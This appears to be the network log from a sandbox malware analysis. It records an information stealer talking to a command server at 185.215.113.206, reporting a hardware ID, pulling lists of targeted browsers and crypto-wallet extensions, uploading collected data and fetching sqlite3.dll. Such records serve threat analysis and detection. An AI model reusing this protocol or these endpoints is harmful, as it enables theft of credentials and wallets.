Nov 15, 2024 16:18:04.749892950 CET	1.1.1.1	192.168.2.5	0x2cef	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 16:18:08.261542082 CET	1.1.1.1	192.168.2.5	0xcd1d	No error (0)	fvtejs5sr.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 15, 2024 16:18:11.966175079 CET	1.1.1.1	192.168.2.5	0x3f0b	No error (0)	fvtejs5sr.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 15, 2024 16:18:33.755863905 CET	1.1.1.1	192.168.2.5	0x804a	No error (0)	fvtejs5sr.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 15, 2024 16:18:33.755877972 CET	1.1.1.1	192.168.2.5	0x804a	No error (0)	fvtejs5sr.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 15, 2024 16:18:34.412652969 CET	1.1.1.1	192.168.2.5	0x6960	No error (0)	fvtejs5sr.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 15, 2024 16:18:34.591769934 CET	1.1.1.1	192.168.2.5	0x6580	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 15, 2024 16:18:34.591769934 CET	1.1.1.1	192.168.2.5	0x6580	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 15, 2024 16:18:34.592490911 CET	1.1.1.1	192.168.2.5	0xddb8	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 15, 2024 16:18:34.594261885 CET	1.1.1.1	192.168.2.5	0x1bf7	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 15, 2024 16:18:34.594261885 CET	1.1.1.1	192.168.2.5	0x1bf7	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 15, 2024 16:18:34.596601963 CET	1.1.1.1	192.168.2.5	0xa16d	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 15, 2024 16:18:34.596601963 CET	1.1.1.1	192.168.2.5	0xa16d	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 15, 2024 16:18:34.596623898 CET	1.1.1.1	192.168.2.5	0xc3ec	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 15, 2024 16:18:34.597467899 CET	1.1.1.1	192.168.2.5	0x3e64	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 15, 2024 16:18:35.538417101 CET	1.1.1.1	192.168.2.5	0xd359	No error (0)	fvtejs5sr.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 15, 2024 16:18:35.538429022 CET	1.1.1.1	192.168.2.5	0xd359	No error (0)	fvtejs5sr.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 15, 2024 16:18:35.782067060 CET	1.1.1.1	192.168.2.5	0xdf44	No error (0)	fvtejs5sr.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 15, 2024 16:20:54.802154064 CET	1.1.1.1	192.168.2.5	0xe9c1	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 15, 2024 16:20:54.802248001 CET	1.1.1.1	192.168.2.5	0xb1e3	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 15, 2024 16:20:54.802248001 CET	1.1.1.1	192.168.2.5	0xb1e3	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 15, 2024 16:21:18.512856007 CET	1.1.1.1	192.168.2.5	0x14ec	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 15, 2024 16:21:18.512912035 CET	1.1.1.1	192.168.2.5	0x27a9	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 15, 2024 16:21:18.512912035 CET	1.1.1.1	192.168.2.5	0x27a9	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	185.215.113.206	80	5608	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:16:05.602334976 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 15, 2024 16:16:06.515574932 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:06 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 15, 2024 16:16:06.519632101 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGIDHIIJKEBGHJJKFIDA Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 47 49 44 48 49 49 4a 4b 45 42 47 48 4a 4a 4b 46 49 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 31 32 33 31 42 34 33 35 46 39 30 31 39 34 32 37 37 39 37 33 36 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 44 48 49 49 4a 4b 45 42 47 48 4a 4a 4b 46 49 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 44 48 49 49 4a 4b 45 42 47 48 4a 4a 4b 46 49 44 41 2d 2d 0d 0a Data Ascii: ------CGIDHIIJKEBGHJJKFIDAContent-Disposition: form-data; name="hwid"31231B435F901942779736------CGIDHIIJKEBGHJJKFIDAContent-Disposition: form-data; name="build"mars------CGIDHIIJKEBGHJJKFIDA--
Nov 15, 2024 16:16:06.817585945 CET	407	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:06 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 45 34 4e 6d 49 79 4e 7a 55 34 4e 32 49 31 4e 57 55 77 59 54 55 7a 4f 54 49 79 59 7a 51 77 5a 44 56 6b 4f 54 4e 68 4d 47 59 77 4d 6d 59 77 5a 44 63 32 5a 54 4d 79 4e 6a 6b 79 4e 54 4d 32 59 7a 5a 69 4d 6a 63 32 4d 57 4a 68 4f 54 4e 6d 4f 54 45 31 4e 6a 52 68 5a 57 56 6a 4e 6a 49 32 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: YmE4NmIyNzU4N2I1NWUwYTUzOTIyYzQwZDVkOTNhMGYwMmYwZDc2ZTMyNjkyNTM2YzZiMjc2MWJhOTNmOTE1NjRhZWVjNjI2fHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 15, 2024 16:16:06.820064068 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHCGCAAKJDHJJJJJKKKF Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 48 43 47 43 41 41 4b 4a 44 48 4a 4a 4a 4a 4a 4b 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 61 38 36 62 32 37 35 38 37 62 35 35 65 30 61 35 33 39 32 32 63 34 30 64 35 64 39 33 61 30 66 30 32 66 30 64 37 36 65 33 32 36 39 32 35 33 36 63 36 62 32 37 36 31 62 61 39 33 66 39 31 35 36 34 61 65 65 63 36 32 36 0d 0a 2d 2d 2d 2d 2d 2d 46 48 43 47 43 41 41 4b 4a 44 48 4a 4a 4a 4a 4a 4b 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 46 48 43 47 43 41 41 4b 4a 44 48 4a 4a 4a 4a 4a 4b 4b 4b 46 2d 2d 0d 0a Data Ascii: ------FHCGCAAKJDHJJJJJKKKFContent-Disposition: form-data; name="token"ba86b27587b55e0a53922c40d5d93a0f02f0d76e32692536c6b2761ba93f91564aeec626------FHCGCAAKJDHJJJJJKKKFContent-Disposition: form-data; name="message"browsers------FHCGCAAKJDHJJJJJKKKF--
Nov 15, 2024 16:16:07.105595112 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:06 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 15, 2024 16:16:07.105662107 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Nov 15, 2024 16:16:07.107399940 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGCFHIDAKECFHIEBFCGI Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 43 46 48 49 44 41 4b 45 43 46 48 49 45 42 46 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 61 38 36 62 32 37 35 38 37 62 35 35 65 30 61 35 33 39 32 32 63 34 30 64 35 64 39 33 61 30 66 30 32 66 30 64 37 36 65 33 32 36 39 32 35 33 36 63 36 62 32 37 36 31 62 61 39 33 66 39 31 35 36 34 61 65 65 63 36 32 36 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 46 48 49 44 41 4b 45 43 46 48 49 45 42 46 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 46 48 49 44 41 4b 45 43 46 48 49 45 42 46 43 47 49 2d 2d 0d 0a Data Ascii: ------DGCFHIDAKECFHIEBFCGIContent-Disposition: form-data; name="token"ba86b27587b55e0a53922c40d5d93a0f02f0d76e32692536c6b2761ba93f91564aeec626------DGCFHIDAKECFHIEBFCGIContent-Disposition: form-data; name="message"plugins------DGCFHIDAKECFHIEBFCGI--
Nov 15, 2024 16:16:07.392802954 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:07 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 15, 2024 16:16:07.392868996 CET	112	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtp
Nov 15, 2024 16:16:07.392903090 CET	1236	IN	Data Raw: 63 47 68 6c 5a 57 6c 71 61 57 31 6b 63 47 35 73 63 47 64 77 63 48 77 78 66 44 42 38 4d 48 78 4c 5a 58 42 73 63 6e 78 6b 62 57 74 68 62 57 4e 72 62 6d 39 6e 61 32 64 6a 5a 47 5a 6f 61 47 4a 6b 5a 47 4e 6e 61 47 46 6a 61 47 74 6c 61 6d 56 68 63 48 Data Ascii: cGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9
Nov 15, 2024 16:16:07.392940998 CET	1236	IN	Data Raw: 61 6d 39 38 4d 58 77 77 66 44 42 38 55 32 39 73 5a 6d 78 68 63 6d 55 67 56 32 46 73 62 47 56 30 66 47 4a 6f 61 47 68 73 59 6d 56 77 5a 47 74 69 59 58 42 68 5a 47 70 6b 62 6d 35 76 61 6d 74 69 5a 32 6c 76 61 57 39 6b 59 6d 6c 6a 66 44 46 38 4d 48 Data Ascii: am98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2p
Nov 15, 2024 16:16:07.392976046 CET	1236	IN	Data Raw: 5a 32 70 6c 62 57 56 72 5a 57 4a 6b 63 47 56 76 61 32 4a 70 61 32 68 6d 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 46 79 64 47 6c 68 62 69 42 42 63 48 52 76 63 79 42 58 59 57 78 73 5a 58 52 38 5a 57 5a 69 5a 32 78 6e 62 32 5a 76 61 58 42 77 59 6d Data Ascii: Z2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3B
Nov 15, 2024 16:16:07.393012047 CET	1236	IN	Data Raw: 62 47 31 6e 59 57 35 6d 59 57 46 73 61 32 78 69 66 44 46 38 4d 48 77 77 66 45 4e 76 62 57 31 76 62 6b 74 6c 65 58 78 6a 61 47 64 6d 5a 57 5a 71 63 47 4e 76 59 6d 5a 69 62 6e 42 74 61 57 39 72 5a 6d 70 71 59 57 64 73 59 57 68 74 62 6d 52 6c 5a 48 Data Ascii: bG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2ZuYmVrY2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR
Nov 15, 2024 16:16:07.393049002 CET	1052	IN	Data Raw: 63 47 4e 6e 5a 57 78 76 63 47 64 38 4d 58 77 77 66 44 42 38 51 32 39 74 63 47 46 7a 63 79 42 58 59 57 78 73 5a 58 51 67 5a 6d 39 79 49 46 4e 6c 61 58 78 68 62 6d 39 72 5a 32 31 77 61 47 35 6a 63 47 56 72 61 32 68 6a 62 47 31 70 62 6d 64 77 61 57 Data Ascii: cGNnZWxvcGd8MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGphY3BrbWpta2NhZmNocHBibnBuaGRtb258MXwwfDB8RWxsaSAtIFN1aSBXYWxsZXR8b2NqZHBtb2FsbG1nbWpiYm9nZmlpYW9mcGhiamdjaGh8MXw
Nov 15, 2024 16:16:07.395066023 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIJJDGHJKKJEBFHJDBGH Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 49 4a 4a 44 47 48 4a 4b 4b 4a 45 42 46 48 4a 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 61 38 36 62 32 37 35 38 37 62 35 35 65 30 61 35 33 39 32 32 63 34 30 64 35 64 39 33 61 30 66 30 32 66 30 64 37 36 65 33 32 36 39 32 35 33 36 63 36 62 32 37 36 31 62 61 39 33 66 39 31 35 36 34 61 65 65 63 36 32 36 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 4a 44 47 48 4a 4b 4b 4a 45 42 46 48 4a 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 4a 44 47 48 4a 4b 4b 4a 45 42 46 48 4a 44 42 47 48 2d 2d 0d 0a Data Ascii: ------IIJJDGHJKKJEBFHJDBGHContent-Disposition: form-data; name="token"ba86b27587b55e0a53922c40d5d93a0f02f0d76e32692536c6b2761ba93f91564aeec626------IIJJDGHJKKJEBFHJDBGHContent-Disposition: form-data; name="message"fplugins------IIJJDGHJKKJEBFHJDBGH--
Nov 15, 2024 16:16:07.679579973 CET	335	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:07 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 15, 2024 16:16:07.708564043 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHJDHDAECBGCAKEBAEBA Host: 185.215.113.206 Content-Length: 6167 Connection: Keep-Alive Cache-Control: no-cache
Nov 15, 2024 16:16:07.708646059 CET	6167	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 47 48 4a 44 48 44 41 45 43 42 47 43 41 4b 45 42 41 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 61 38 36 62 32 Data Ascii: ------GHJDHDAECBGCAKEBAEBAContent-Disposition: form-data; name="token"ba86b27587b55e0a53922c40d5d93a0f02f0d76e32692536c6b2761ba93f91564aeec626------GHJDHDAECBGCAKEBAEBAContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 15, 2024 16:16:08.514882088 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:07 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 15, 2024 16:16:08.756390095 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
